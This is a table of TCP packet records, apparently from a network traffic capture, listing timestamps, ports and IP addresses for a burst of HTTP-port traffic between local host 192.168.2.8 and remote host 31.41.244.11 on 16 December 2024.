Dec 16, 2024 17:02:13.287985086 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.288805008 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.288855076 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.289458036 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.289503098 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.290160894 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.290179014 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.290206909 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.290220976 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.291223049 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.291241884 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.291270971 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.291284084 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.292047024 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.292093992 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.292290926 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.292335987 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.293355942 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.293373108 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.293478012 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.294271946 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.294317961 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.294481993 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.294526100 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.295264959 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.295310020 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.295351982 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.295394897 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.296318054 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.296363115 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.296432018 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.296474934 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.297729969 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.297756910 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.297771931 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.297794104 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.298561096 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.298604012 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.298659086 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.298701048 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.299664021 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.299681902 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.299705982 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.299721003 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.300597906 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.300642014 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.300961018 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.301003933 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.302038908 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.302057028 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.302079916 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.302093029 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.302764893 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.302809954 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.302921057 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.302963972 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.303991079 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.304039955 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.304076910 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.304121017 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.305188894 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.305231094 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.305237055 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.305277109 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.306610107 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.306629896 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.306658030 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.306679010 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.307199955 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.307240963 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.307332039 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.307374954 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.308540106 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.308557987 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.308582067 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.308595896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.309484005 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.309528112 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.309624910 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.309668064 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.310853004 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.310872078 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.310894966 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.310910940 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.311960936 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.311979055 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.312005043 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.312016964 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.313045025 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.313062906 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.313086987 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.313102961 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.314258099 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.314281940 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.314300060 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.314315081 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.315357924 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.315376043 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.315402985 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.315414906 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.316440105 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.316457033 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.316483021 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.316495895 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.316802979 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.316847086 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.316979885 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.317023039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.318073988 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.318124056 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.318453074 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.318494081 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.318912029 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.318954945 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.319103956 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.319148064 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.320612907 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.320631981 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.320660114 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.320674896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.321286917 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.321304083 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.321326971 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.321342945 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.324794054 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.324814081 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.324829102 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.324845076 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.324870110 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.324906111 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.325145006 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.325189114 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.325318098 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.325366020 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.325970888 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.325988054 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.326018095 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.326030016 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.326607943 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.326625109 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.326648951 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.326668024 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.327589989 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.327635050 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.327697992 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.327737093 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.328737020 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.328779936 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.328979969 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.329025030 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.329822063 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.329843998 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.329865932 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.329879999 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.330984116 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.331028938 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.331785917 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.331830025 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.334184885 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.334206104 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.334223986 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.334230900 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.334240913 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.334248066 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.334265947 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.334275007 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.334702969 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.334744930 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.334871054 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.334913969 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.336322069 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.336364031 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.336508036 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.336555958 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.337599039 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.337639093 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.337771893 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.337812901 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.338316917 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.338361025 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.338480949 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.338521004 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.339196920 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.339241028 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.339374065 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.339415073 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.339936018 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.339953899 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.339977026 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.339991093 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.340626955 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.340671062 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.340729952 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.340771914 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.341568947 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.341613054 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.477013111 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.477042913 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.477082968 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.477097034 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.477535009 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.477579117 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.477780104 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.477826118 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.478198051 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.478238106 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.478724003 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.478770018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.478861094 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.478899002 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.479835987 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.479876041 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.480199099 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.480248928 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.480807066 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.480851889 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.481266022 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.481303930 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.481940985 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.481983900 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.482321978 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.482362986 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.483036041 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.483086109 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.483350992 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.483401060 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.484105110 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.484147072 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.484446049 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.484489918 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.485150099 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.485192060 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.485366106 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.485408068 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.486347914 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.486398935 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.486802101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.486841917 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.487880945 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.487905979 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.487921000 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.487941027 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.488909960 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.488989115 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.489099026 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.489145041 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.490001917 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.490042925 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.490130901 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.490175962 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.491122007 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.491204023 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.491208076 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.491247892 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.492383003 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.492408037 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.492432117 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.492453098 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.493201017 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.493246078 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.493267059 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.493304968 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.494194984 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.494215965 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.494235992 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.494246960 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.495115995 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.495157957 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.495207071 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.495246887 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.496351004 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.496372938 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.496407986 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.497334003 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.497379065 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.497421026 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.497459888 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.498331070 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.498377085 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.498400927 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.498437881 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.499619007 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.499639988 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.499661922 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.499676943 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.500406981 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.500447035 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.500598907 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.500643015 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.501480103 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.501527071 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.501537085 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.501579046 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.502549887 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.502599001 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.502620935 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.502657890 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.503613949 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.503665924 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.503695011 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.503734112 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.504942894 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.504965067 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.504990101 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.505004883 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.505665064 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.505703926 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.505848885 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.505886078 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.507374048 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.507395983 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.507426023 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.507441044 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.507863045 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.507901907 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.507951975 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.507992029 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.509103060 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.509155989 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.509190083 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.509232998 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.510494947 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.510524988 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.510562897 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.510581970 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.511379004 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.511401892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.511420012 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.511442900 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.512623072 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.512638092 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.512664080 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.512675047 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.513801098 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.513812065 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.513843060 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.513861895 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.514796019 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.514806986 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.514841080 CET	49708	80	192.168.2.8	31.41.244.11
